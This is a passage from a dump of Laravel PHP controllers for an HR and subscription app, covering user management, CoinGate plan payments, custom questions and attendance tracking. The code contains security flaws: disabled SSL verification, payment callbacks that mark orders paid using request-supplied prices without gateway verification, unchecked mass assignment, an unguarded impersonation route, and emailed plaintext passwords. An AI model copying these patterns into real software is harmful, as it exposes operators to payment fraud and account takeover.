'email_verified_at' => $date, ] ); $user->assignRole($role_r); } else { return redirect()->back()->with('error', __('Your user limit is over, Please upgrade plan.')); } } $setings = Utility::settings(); if ($setings['new_user'] == 1) { $uArr = [ 'email' => $user->email, 'password' => $request->password, ]; $resp = Utility::sendEmailTemplate('new_user', [$user->id => $user->email], $uArr); return redirect()->route('user.index')->with('success', __('User successfully created.') . ((!empty($resp) && $resp['is_success'] == false && !empty($resp['error'])) ? '
' . $resp['error'] . '' : '')); } return redirect()->route('user.index')->with('success', __('User successfully created.')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function show(User $user) { return view('profile.index'); } public function edit($id) { if (\Auth::user()->can('Edit User')) { $user = User::find($id); $roles = Role::where('created_by', '=', $user->creatorId())->where('name', '!=', 'employee')->get()->pluck('name', 'id'); $roles->prepend('Select Role', ''); return view('user.edit', compact('user', 'roles')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, $id) { $validator = \Validator::make( $request->all(), [ 'name' => 'required', 'email' => 'unique:users,email,' . $id, ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } if (\Auth::user()->type == 'super admin') { $user = User::findOrFail($id); $input = $request->all(); $user->fill($input)->save(); } else { $user = User::findOrFail($id); $role = Role::findById($request->role); $input = $request->all(); $input['type'] = $role->name; $user->fill($input)->save(); $user->assignRole($role); } return redirect()->route('user.index')->with('success', 'User successfully updated.'); } public function destroy($id) { if (\Auth::user()->can('Delete User')) { $user = User::findOrFail($id); $sub_employee = Employee::where('created_by', $user->id)->delete(); $sub_user = User::where('created_by', $user->id)->delete(); $user->delete(); return redirect()->route('user.index')->with('success', 'User successfully deleted.'); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function profile() { $userDetail = \Auth::user(); return view('user.profile')->with('userDetail', $userDetail); } public function editprofile(Request $request) { $userDetail = \Auth::user(); $user = User::findOrFail($userDetail['id']); $validator = \Validator::make( $request->all(), [ 'name' => 'required|max:120', 'email' => 'required|email|unique:users,email,' . $userDetail['id'], // 'profile' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } if ($request->hasFile('profile')) { $filenameWithExt = $request->file('profile')->getClientOriginalName(); $filename = pathinfo($filenameWithExt, PATHINFO_FILENAME); $extension = $request->file('profile')->getClientOriginalExtension(); $fileNameToStore = $filename . '_' . time() . '.' . $extension; $dir = 'uploads/avatar'; $image_path = $dir . $userDetail['avatar']; if (File::exists($image_path)) { File::delete($image_path); } $url = ''; $path = Utility::upload_file($request, 'profile', $fileNameToStore, $dir, []); if ($path['flag'] == 1) { $url = $path['url']; } else { return redirect()->route('profile', \Auth::user()->id)->with('error', __($path['msg'])); } } if (!empty($request->profile)) { $user['avatar'] = $fileNameToStore; } $user['name'] = $request['name']; $user['email'] = $request['email']; $user->save(); if (\Auth::user()->type == 'employee') { $employee = Employee::where('user_id', $user->id)->first(); $employee->email = $request['email']; $employee->save(); } return redirect()->back()->with( 'success', 'Profile successfully updated.' ); } public function LoginManage($id) { $eId = \Crypt::decrypt($id); $user = User::find($eId); if ($user->is_login_enable == 1) { $user->is_login_enable = 0; $user->save(); return redirect()->route('user.index')->with('success', 'User login disable successfully.'); } else { $user->is_login_enable = 1; $user->save(); return redirect()->route('user.index')->with('success', 'User login enable successfully.'); } } public function userPassword($id) { $eId = \Crypt::decrypt($id); $user = User::find($eId); $employee = User::where('id', $eId)->first(); return view('user.reset', compact('user', 'employee')); } public function userPasswordReset(Request $request, $id) { $validator = \Validator::make( $request->all(), [ 'password' => 'required|confirmed|same:password_confirmation', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $user = User::where('id', $id)->first(); $user->forceFill([ 'password' => Hash::make($request->password), 'is_login_enable' => 1, ])->save(); return redirect()->route('user.index')->with( 'success', 'User Password successfully updated.' ); } public function updatePassword(Request $request) { if (\Auth::Check()) { $request->validate( [ 'current_password' => 'required', 'new_password' => 'required|min:6', 'confirm_password' => 'required|same:new_password', ] ); $objUser = Auth::user(); $request_data = $request->All(); $current_password = $objUser->password; if (Hash::check($request_data['current_password'], $current_password)) { $user_id = Auth::User()->id; $obj_user = User::find($user_id); $obj_user->password = Hash::make($request_data['new_password']);; $obj_user->save(); return redirect()->route('profile', $objUser->id)->with('success', __('Password successfully updated.')); } else { return redirect()->route('profile', $objUser->id)->with('error', __('Please enter correct current password.')); } } else { return redirect()->route('profile', \Auth::user()->id)->with('error', __('Something is wrong.')); } } public function upgradePlan($user_id) { $user = User::find($user_id); $plans = Plan::where('is_disable', 1)->get(); return view('user.plan', compact('user', 'plans')); } public function activePlan($user_id, $plan_id) { $admin_payment_setting = Utility::getAdminPaymentSetting(); $user = User::find($user_id); $assignPlan = $user->assignPlan($plan_id); $plan = Plan::find($plan_id); if ($assignPlan['is_success'] == true && !empty($plan)) { $orderID = strtoupper(str_replace('.', '', uniqid('', true))); Order::create( [ 'order_id' => $orderID, 'name' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $plan->price, 'price_currency' => !empty($admin_payment_setting['currency']) ? $admin_payment_setting['currency'] : '$', 'txn_id' => '', 'payment_status' => 'succeeded', 'receipt' => null, 'user_id' => $user->id, ] ); return redirect()->back()->with('success', 'Plan successfully upgraded.'); } else { return redirect()->back()->with('error', 'Plan fail to upgrade.'); } } public function notificationSeen($user_id) { Notification::where('user_id', '=', $user_id)->update(['is_read' => 1]); return response()->json(['is_success' => true], 200); } public function LoginWithCompany(Request $request, User $user, $id) { $user = User::find($id); if ($user && auth()->check()) { Impersonate::take($request->user(), $user); return redirect('/dashboard'); } } public function ExitCompany(Request $request) { \Auth::user()->leaveImpersonation($request->user()); return redirect('/dashboard'); } public function CompnayInfo($id) { if (!empty($id)) { $data = $this->userCounter($id); if ($data['is_success']) { $users_data = $data['response']['users_data']; return view('user.companyinfo', compact('id', 'users_data')); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function UserUnable(Request $request) { if (!empty($request->id) && !empty($request->company_id)) { if ($request->name == 'user') { User::where('id', $request->id)->update(['is_disable' => $request->is_disable]); $data = $this->userCounter($request->company_id); } if ($data['is_success']) { $users_data = $data['response']['users_data']; } if ($request->is_disable == 1) { return response()->json(['success' => __('Successfully Unable.'), 'users_data' => $users_data]); } else { return response()->json(['success' => __('Successfully Disable.'), 'users_data' => $users_data]); } } return response()->json('error'); } public function userCounter($id) { $response = []; if (!empty($id)) { $users = User::where('created_by', $id) ->selectRaw('COUNT(*) as total_users, SUM(CASE WHEN is_disable = 0 THEN 1 ELSE 0 END) as disable_users, SUM(CASE WHEN is_disable = 1 THEN 1 ELSE 0 END) as active_users') ->first(); $users_data = [ 'user_id' => !empty($id) ? $id : 0, 'total_users' => !empty($users->total_users) ? $users->total_users : 0, 'disable_users' => !empty($users->disable_users) ? $users->disable_users : 0, 'active_users' => !empty($users->active_users) ? $users->active_users : 0, ]; $response['users_data'] = $users_data; return [ 'is_success' => true, 'response' => $response, ]; } return [ 'is_success' => false, 'error' => 'User ID is invalid.', ]; } } Http/Controllers/CoingatePaymentController.php000064400000023344150364306410015645 0ustar00type == 'company') { $admin_payment_setting = Utility::getAdminPaymentSetting(); $this->coingate_auth_token = isset($admin_payment_setting['coingate_auth_token']) ? $admin_payment_setting['coingate_auth_token'] : ''; $this->mode = isset($admin_payment_setting['coingate_mode']) ? $admin_payment_setting['coingate_mode'] : 'off'; $this->is_enabled = isset($admin_payment_setting['is_coingate_enabled']) ? $admin_payment_setting['is_coingate_enabled'] : 'off'; return $this; } } public function planPayWithCoingate(Request $request) { $admin_payment_setting = Utility::getAdminPaymentSetting(); $payment = $this->paymentConfig(); $planID = \Illuminate\Support\Facades\Crypt::decrypt($request->plan_id); $plan = Plan::find($planID); $authuser = Auth::user(); $coupons_id = ''; if ($plan) { $price = $plan->price; if (isset($request->coupon) && !empty($request->coupon)) { $request->coupon = trim($request->coupon); $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($price / 100) * $coupons->discount; $plan->discounted_price = $price - $discount_value; $coupons_id = $coupons->id; if ($usedCoupun >= $coupons->limit) { return redirect()->back()->with('error', __('This coupon code has expired.')); } $price = $price - $discount_value; } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } if ($price <= 0) { $authuser->plan = $plan->id; $authuser->save(); $assignPlan = $authuser->assignPlan($plan->id); if ($assignPlan['is_success'] == true && !empty($plan)) { $orderID = time(); $user = Auth::user(); if ($request->has('coupon') && $request->coupon != '') { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } Order::create( [ 'order_id' => $orderID, 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $price == null ? 0 : $price, 'price_currency' => !empty($admin_payment_setting['currency']) ? $admin_payment_setting['currency'] : 'USD', 'txn_id' => '', 'payment_type' => 'coingate', 'payment_status' => 'succeeded', 'receipt' => null, 'user_id' => $authuser->id, ] ); $assignPlan = $authuser->assignPlan($plan->id); return redirect()->route('plans.index')->with('success', __('Plan activated Successfully!')); } else { return redirect()->back()->with('error', __('Plan fail to upgrade.')); } } CoinGate::config( array( 'environment' => $payment->mode, 'auth_token' => $payment->coingate_auth_token, 'curlopt_ssl_verifypeer' => FALSE, ) ); $post_params = array( 'order_id' => time(), 'price_amount' => $price, 'price_currency' => $admin_payment_setting['currency'], 'receive_currency' => $admin_payment_setting['currency'], 'callback_url' => route( 'plan.coingate', [ $request->plan_id, 'coupon_id=' . $coupons_id, 'price' => $price, ] ), 'cancel_url' => route('stripe', [$request->plan_id]), 'success_url' => route( 'plan.coingate', [ $request->plan_id, 'coupon_id=' . $coupons_id, 'price' => $price, ] ), 'title' => 'Plan #' . time(), ); try { $order = \CoinGate\Merchant\Order::create($post_params); } catch (\Exception $e) { return redirect()->back()->with('error', __('BadAuthToken Auth Token is not valid.')); } if ($order) { return redirect($order->payment_url); } else { return redirect()->back()->with('error', __('opps something wren wrong.')); } } else { return redirect()->back()->with('error', 'Plan is deleted.'); } } public function getPaymentStatus(Request $request, $plan) { $this->paymentConfig(); // $user = Auth::user(); // $plan_id = $request->plan_id; // $admin_payment_setting = Utility::getAdminPaymentSetting(); // $planID = \Illuminate\Support\Facades\Crypt::decrypt($plan); // $plan = Plan::find($plan_id); // $price = !empty($plan->price) ? $plan->price : ''; $admin_payment_setting = Utility::getAdminPaymentSetting(); $planID = \Illuminate\Support\Facades\Crypt::decrypt($plan); $plan = Plan::find($planID); $user = Auth::user(); $orderID = time(); if ($plan) { try { $orderID = time(); if ($request->has('coupon_id') && $request->coupon_id != '') { $coupons = Coupon::find($request->coupon_id); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } Utility::referralTransaction($plan); $order = new Order(); $order->order_id = $orderID; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $request->price ? $request->price : 0; $order->price_currency = $admin_payment_setting['currency']; $order->txn_id = isset($request->transaction_id) ? $request->transaction_id : ''; $order->payment_type = __('Coingate'); $order->payment_status = 'success'; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $assignPlan = $user->assignPlan($plan->id); if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully.')); } else { return redirect()->route('plans.index')->with('error', $assignPlan['error']); } } catch (\Exception $e) { return redirect()->route('plans.index')->with('error', __('Transaction has been failed.')); } } else { return redirect()->route('plans.index')->with('error', __('Plan is deleted.')); } } } Http/Controllers/CustomQuestionController.php000064400000006410150364306410015553 0ustar00can('Manage Custom Question')) { $questions = CustomQuestion::where('created_by', \Auth::user()->creatorId())->get(); return view('customQuestion.index', compact('questions')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { $is_required = CustomQuestion::$is_required; return view('customQuestion.create', compact('is_required')); } public function store(Request $request) { if(\Auth::user()->can('Create Custom Question')) { $validator = \Validator::make( $request->all(), [ 'question' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $question = new CustomQuestion(); $question->question = $request->question; $question->is_required = $request->is_required; $question->created_by = \Auth::user()->creatorId(); $question->save(); return redirect()->back()->with('success', __('Question successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(CustomQuestion $customQuestion) { // } public function edit(CustomQuestion $customQuestion) { $is_required = CustomQuestion::$is_required; return view('customQuestion.edit', compact('customQuestion','is_required')); } public function update(Request $request, CustomQuestion $customQuestion) { if(\Auth::user()->can('Edit Custom Question')) { $validator = \Validator::make( $request->all(), [ 'question' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $customQuestion->question = $request->question; $customQuestion->is_required = $request->is_required; $customQuestion->save(); return redirect()->back()->with('success', __('Question successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(CustomQuestion $customQuestion) { if(\Auth::user()->can('Delete Custom Question')) { $customQuestion->delete(); return redirect()->back()->with('success', __('Question successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } } Http/Controllers/AttendanceEmployeeController.php000064400000130272150364306410016323 0ustar00can('Manage Attendance')) { $branch = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $branch->prepend('All', ''); $department = Department::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $department->prepend('All', ''); if (\Auth::user()->type == 'employee') { $emp = !empty(\Auth::user()->employee) ? \Auth::user()->employee->id : 0; $attendanceEmployee = AttendanceEmployee::where('employee_id', $emp); if ($request->type == 'monthly' && !empty($request->month)) { $month = date('m', strtotime($request->month)); $year = date('Y', strtotime($request->month)); $start_date = date($year . '-' . $month . '-01'); $end_date = date('Y-m-t', strtotime('01-' . $month . '-' . $year)); // old date // $end_date = date($year . '-' . $month . '-t'); $attendanceEmployee->whereBetween( 'date', [ $start_date, $end_date, ] ); } elseif ($request->type == 'daily' && !empty($request->date)) { $attendanceEmployee->where('date', $request->date); } else { $month = date('m'); $year = date('Y'); $start_date = date($year . '-' . $month . '-01'); $end_date = date('Y-m-t', strtotime('01-' . $month . '-' . $year)); // old date // $end_date = date($year . '-' . $month . '-t'); $attendanceEmployee->whereBetween( 'date', [ $start_date, $end_date, ] ); } $attendanceEmployee = $attendanceEmployee->get(); } else { $employee = Employee::select('id')->where('created_by', \Auth::user()->creatorId()); if (!empty($request->branch)) { $employee->where('branch_id', $request->branch); } if (!empty($request->department)) { $employee->where('department_id', $request->department); } $employee = $employee->get()->pluck('id'); $attendanceEmployee = AttendanceEmployee::whereIn('employee_id', $employee); if ($request->type == 'monthly' && !empty($request->month)) { $month = date('m', strtotime($request->month)); $year = date('Y', strtotime($request->month)); $start_date = date($year . '-' . $month . '-01'); $end_date = date('Y-m-t', strtotime('01-' . $month . '-' . $year)); // old date // $end_date = date($year . '-' . $month . '-t'); $attendanceEmployee->whereBetween( 'date', [ $start_date, $end_date, ] ); } elseif ($request->type == 'daily' && !empty($request->date)) { $attendanceEmployee->where('date', $request->date); } else { $month = date('m'); $year = date('Y'); $start_date = date($year . '-' . $month . '-01'); $end_date = date('Y-m-t', strtotime('01-' . $month . '-' . $year)); // old date // $end_date = date($year . '-' . $month . '-t'); $attendanceEmployee->whereBetween( 'date', [ $start_date, $end_date, ] ); } $attendanceEmployee = $attendanceEmployee->get(); } return view('attendance.index', compact('attendanceEmployee', 'branch', 'department')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if (\Auth::user()->can('Create Attendance')) { $employees = User::where('created_by', '=', Auth::user()->creatorId())->where('type', '=', "employee")->get()->pluck('name', 'id'); return view('attendance.create', compact('employees')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function store(Request $request) { if (\Auth::user()->can('Create Attendance')) { $validator = \Validator::make( $request->all(), [ 'employee_id' => 'required', 'date' => 'required', 'clock_in' => 'required', 'clock_out' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $startTime = Utility::getValByName('company_start_time'); $endTime = Utility::getValByName('company_end_time'); $attendance = AttendanceEmployee::where('employee_id', '=', $request->employee_id)->where('date', '=', $request->date)->where('clock_out', '=', '00:00:00')->get()->toArray(); if ($attendance) { return redirect()->route('attendanceemployee.index')->with('error', __('Employee Attendance Already Created.')); } else { $date = date("Y-m-d"); $totalLateSeconds = strtotime($request->clock_in) - strtotime($date . $startTime); $hours = floor($totalLateSeconds / 3600); $mins = floor($totalLateSeconds / 60 % 60); $secs = floor($totalLateSeconds % 60); $late = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); //early Leaving $totalEarlyLeavingSeconds = strtotime($date . $endTime) - strtotime($request->clock_out); $hours = floor($totalEarlyLeavingSeconds / 3600); $mins = floor($totalEarlyLeavingSeconds / 60 % 60); $secs = floor($totalEarlyLeavingSeconds % 60); $earlyLeaving = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); if (strtotime($request->clock_out) > strtotime($date . $endTime)) { //Overtime $totalOvertimeSeconds = strtotime($request->clock_out) - strtotime($date . $endTime); $hours = floor($totalOvertimeSeconds / 3600); $mins = floor($totalOvertimeSeconds / 60 % 60); $secs = floor($totalOvertimeSeconds % 60); $overtime = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); } else { $overtime = '00:00:00'; } $employeeAttendance = new AttendanceEmployee(); $employeeAttendance->employee_id = $request->employee_id; $employeeAttendance->date = $request->date; $employeeAttendance->status = 'Present'; $employeeAttendance->clock_in = $request->clock_in . ':00'; $employeeAttendance->clock_out = $request->clock_out . ':00'; $employeeAttendance->late = $late; $employeeAttendance->early_leaving = $earlyLeaving; $employeeAttendance->overtime = $overtime; $employeeAttendance->total_rest = '00:00:00'; $employeeAttendance->created_by = \Auth::user()->creatorId(); $employeeAttendance->save(); return redirect()->route('attendanceemployee.index')->with('success', __('Employee attendance successfully created.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Request $request) { // return redirect()->back(); return redirect()->route('attendanceemployee.index'); } public function edit($id) { if (\Auth::user()->can('Edit Attendance')) { $attendanceEmployee = AttendanceEmployee::where('id', $id)->first(); $employees = Employee::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('attendance.edit', compact('attendanceEmployee', 'employees')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } // public function update(Request $request, $id) // { // if (\Auth::user()->type == 'company' || \Auth::user()->type == 'hr') { // $employeeId = AttendanceEmployee::where('employee_id', $request->employee_id)->first(); // $check = AttendanceEmployee::where('employee_id', '=', $request->employee_id)->where('date', $request->date)->first(); // $startTime = Utility::getValByName('company_start_time'); // $endTime = Utility::getValByName('company_end_time'); // $clockIn = $request->clock_in; // $clockOut = $request->clock_out; // if ($clockIn) { // $status = "present"; // } else { // $status = "leave"; // } // $totalLateSeconds = strtotime($clockIn) - strtotime($startTime); // $hours = floor($totalLateSeconds / 3600); // $mins = floor($totalLateSeconds / 60 % 60); // $secs = floor($totalLateSeconds % 60); // $late = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); // $totalEarlyLeavingSeconds = strtotime($endTime) - strtotime($clockOut); // $hours = floor($totalEarlyLeavingSeconds / 3600); // $mins = floor($totalEarlyLeavingSeconds / 60 % 60); // $secs = floor($totalEarlyLeavingSeconds % 60); // $earlyLeaving = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); // if (strtotime($clockOut) > strtotime($endTime)) { // //Overtime // $totalOvertimeSeconds = strtotime($clockOut) - strtotime($endTime); // $hours = floor($totalOvertimeSeconds / 3600); // $mins = floor($totalOvertimeSeconds / 60 % 60); // $secs = floor($totalOvertimeSeconds % 60); // $overtime = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); // } else { // $overtime = '00:00:00'; // } // if ($check->date == date('Y-m-d')) { // $check->update([ // 'late' => $late, // 'early_leaving' => ($earlyLeaving > 0) ? $earlyLeaving : '00:00:00', // 'overtime' => $overtime, // 'clock_in' => $clockIn, // 'clock_out' => $clockOut // ]); // return redirect()->route('attendanceemployee.index')->with('success', __('Employee attendance successfully updated.')); // } else { // return redirect()->route('attendanceemployee.index')->with('error', __('You can only update current day attendance')); // } // } // $employeeId = !empty(\Auth::user()->employee) ? \Auth::user()->employee->id : 0; // $todayAttendance = AttendanceEmployee::where('employee_id', '=', $employeeId)->where('date', date('Y-m-d'))->first(); // if (!empty($todayAttendance) && $todayAttendance->clock_out == '00:00:00') { // $startTime = Utility::getValByName('company_start_time'); // $endTime = Utility::getValByName('company_end_time'); // if (Auth::user()->type == 'employee') { // $date = date("Y-m-d"); // $time = date("H:i:s"); // //early Leaving // $totalEarlyLeavingSeconds = strtotime($date . $endTime) - time(); // $hours = floor($totalEarlyLeavingSeconds / 3600); // $mins = floor($totalEarlyLeavingSeconds / 60 % 60); // $secs = floor($totalEarlyLeavingSeconds % 60); // $earlyLeaving = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); // if (time() > strtotime($date . $endTime)) { // //Overtime // $totalOvertimeSeconds = time() - strtotime($date . $endTime); // $hours = floor($totalOvertimeSeconds / 3600); // $mins = floor($totalOvertimeSeconds / 60 % 60); // $secs = floor($totalOvertimeSeconds % 60); // $overtime = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); // } else { // $overtime = '00:00:00'; // } // $attendanceEmployee = AttendanceEmployee::find($id); // $attendanceEmployee->clock_out = $time; // $attendanceEmployee->early_leaving = $earlyLeaving; // $attendanceEmployee->overtime = $overtime; // $attendanceEmployee->save(); // return redirect()->route('dashboard')->with('success', __('Employee successfully clock Out.')); // } else { // $date = date("Y-m-d"); // //late // $totalLateSeconds = strtotime($request->clock_in) - strtotime($date . $startTime); // $hours = floor($totalLateSeconds / 3600); // $mins = floor($totalLateSeconds / 60 % 60); // $secs = floor($totalLateSeconds % 60); // $late = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); // //early Leaving // $totalEarlyLeavingSeconds = strtotime($date . $endTime) - strtotime($request->clock_out); // $hours = floor($totalEarlyLeavingSeconds / 3600); // $mins = floor($totalEarlyLeavingSeconds / 60 % 60); // $secs = floor($totalEarlyLeavingSeconds % 60); // $earlyLeaving = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); // if (strtotime($request->clock_out) > strtotime($date . $endTime)) { // //Overtime // $totalOvertimeSeconds = strtotime($request->clock_out) - strtotime($date . $endTime); // $hours = floor($totalOvertimeSeconds / 3600); // $mins = floor($totalOvertimeSeconds / 60 % 60); // $secs = floor($totalOvertimeSeconds % 60); // $overtime = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); // } else { // $overtime = '00:00:00'; // } // $attendanceEmployee = AttendanceEmployee::find($id); // $attendanceEmployee->employee_id = $request->employee_id; // $attendanceEmployee->date = $request->date; // $attendanceEmployee->clock_in = $request->clock_in; // $attendanceEmployee->clock_out = $request->clock_out; // $attendanceEmployee->late = $late; // $attendanceEmployee->early_leaving = $earlyLeaving; // $attendanceEmployee->overtime = $overtime; // $attendanceEmployee->total_rest = '00:00:00'; // $attendanceEmployee->save(); // return redirect()->route('attendanceemployee.index')->with('success', __('Employee attendance successfully updated.')); // } // } else { // return redirect()->back()->with('error', __('Employee are not allow multiple time clock in & clock for every day.')); // } // } public function update(Request $request, $id) { if (\Auth::user()->type == 'company' || \Auth::user()->type == 'hr') { $employeeId = AttendanceEmployee::where('employee_id', $request->employee_id)->first(); $check = AttendanceEmployee::where('id', '=', $id)->where('employee_id', '=', $request->employee_id)->where('date', $request->date)->first(); $startTime = Utility::getValByName('company_start_time'); $endTime = Utility::getValByName('company_end_time'); $clockIn = $request->clock_in; $clockOut = $request->clock_out; if ($clockIn) { $status = "present"; } else { $status = "leave"; } $totalLateSeconds = strtotime($clockIn) - strtotime($startTime); $hours = floor($totalLateSeconds / 3600); $mins = floor($totalLateSeconds / 60 % 60); $secs = floor($totalLateSeconds % 60); $late = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); $totalEarlyLeavingSeconds = strtotime($endTime) - strtotime($clockOut); $hours = floor($totalEarlyLeavingSeconds / 3600); $mins = floor($totalEarlyLeavingSeconds / 60 % 60); $secs = floor($totalEarlyLeavingSeconds % 60); $earlyLeaving = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); if (strtotime($clockOut) > strtotime($endTime)) { //Overtime $totalOvertimeSeconds = strtotime($clockOut) - strtotime($endTime); $hours = floor($totalOvertimeSeconds / 3600); $mins = floor($totalOvertimeSeconds / 60 % 60); $secs = floor($totalOvertimeSeconds % 60); $overtime = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); } else { $overtime = '00:00:00'; } if ($check->date == date('Y-m-d')) { $check->update([ 'late' => $late, 'early_leaving' => ($earlyLeaving > 0) ? $earlyLeaving : '00:00:00', 'overtime' => $overtime, 'clock_in' => $clockIn, 'clock_out' => $clockOut ]); return redirect()->route('attendanceemployee.index')->with('success', __('Employee attendance successfully updated.')); } else { return redirect()->route('attendanceemployee.index')->with('error', __('You can only update current day attendance.')); } } $employeeId = !empty(\Auth::user()->employee) ? \Auth::user()->employee->id : 0; $todayAttendance = AttendanceEmployee::where('employee_id', '=', $employeeId)->where('date', date('Y-m-d'))->first(); $startTime = Utility::getValByName('company_start_time'); $endTime = Utility::getValByName('company_end_time'); if (Auth::user()->type == 'employee') { $date = date("Y-m-d"); $time = date("H:i:s"); //early Leaving $totalEarlyLeavingSeconds = strtotime($date . $endTime) - time(); $hours = floor($totalEarlyLeavingSeconds / 3600); $mins = floor($totalEarlyLeavingSeconds / 60 % 60); $secs = floor($totalEarlyLeavingSeconds % 60); $earlyLeaving = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); if (time() > strtotime($date . $endTime)) { //Overtime $totalOvertimeSeconds = time() - strtotime($date . $endTime); $hours = floor($totalOvertimeSeconds / 3600); $mins = floor($totalOvertimeSeconds / 60 % 60); $secs = floor($totalOvertimeSeconds % 60); $overtime = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); } else { $overtime = '00:00:00'; } $attendanceEmployee['clock_out'] = $time; $attendanceEmployee['early_leaving'] = $earlyLeaving; $attendanceEmployee['overtime'] = $overtime; if (!empty($request->date)) { $attendanceEmployee['date'] = $request->date; } AttendanceEmployee::where('id', $id)->update($attendanceEmployee); return redirect()->route('dashboard')->with('success', __('Employee successfully clock Out.')); } else { $date = date("Y-m-d"); $clockout_time = date("H:i:s"); //late $totalLateSeconds = strtotime($clockout_time) - strtotime($date . $startTime); $hours = abs(floor($totalLateSeconds / 3600)); $mins = abs(floor($totalLateSeconds / 60 % 60)); $secs = abs(floor($totalLateSeconds % 60)); $late = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); //early Leaving $totalEarlyLeavingSeconds = strtotime($date . $endTime) - strtotime($clockout_time); $hours = floor($totalEarlyLeavingSeconds / 3600); $mins = floor($totalEarlyLeavingSeconds / 60 % 60); $secs = floor($totalEarlyLeavingSeconds % 60); $earlyLeaving = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); if (strtotime($clockout_time) > strtotime($date . $endTime)) { //Overtime $totalOvertimeSeconds = strtotime($clockout_time) - strtotime($date . $endTime); $hours = floor($totalOvertimeSeconds / 3600); $mins = floor($totalOvertimeSeconds / 60 % 60); $secs = floor($totalOvertimeSeconds % 60); $overtime = sprintf('%02d:%02d:%02d', $hours, $mins, $secs); } else { $overtime = '00:00:00'; } $attendanceEmployee = AttendanceEmployee::find($id); $attendanceEmployee->clock_out = $clockout_time; $attendanceEmployee->late = $late; $attendanceEmployee->early_leaving = $earlyLeaving; $attendanceEmployee->overtime = $overtime; $attendanceEmployee->total_rest = '00:00:00'; $attendanceEmployee->save(); return redirect()->back()->with('success', __('Employee attendance successfully updated.')); } } public function destroy($id) { if (\Auth::user()->can('Delete Attendance')) { $attendance = AttendanceEmployee::where('id', $id)->first(); $attendance->delete(); return redirect()->route('attendanceemployee.index')->with('success', __('Attendance successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } // public function attendance(Request $request) // { // $settings = Utility::settings(); // if ($settings['ip_restrict'] == 'on') { // $userIp = request()->ip(); // $ip = IpRestrict::where('created_by', \Auth::user()->creatorId())->whereIn('ip', [$userIp])->first(); // if (!empty($ip)) { // return redirect()->back()->with('error', __('this ip is not allowed to clock in & clock out.')); // } // } // $employeeId = !empty(\Auth::user()->employee) ? \Auth::user()->employee->id : 0; // $todayAttendance = AttendanceEmployee::where('employee_id', '=', $employeeId)->where('date', date('Y-m-d'))->first(); // if (empty($todayAttendance)) { // $startTime = Utility::getValByName('company_start_time'); // $endTime = Utility::getValByName('company_end_time'); // $attendance = AttendanceEmployee::orderBy('id', 'desc')->where('employee_id', '=', $employeeId)->where('clock_out', '=', '00:00:00')->first(); // if ($attendance != null) { // $attendance = 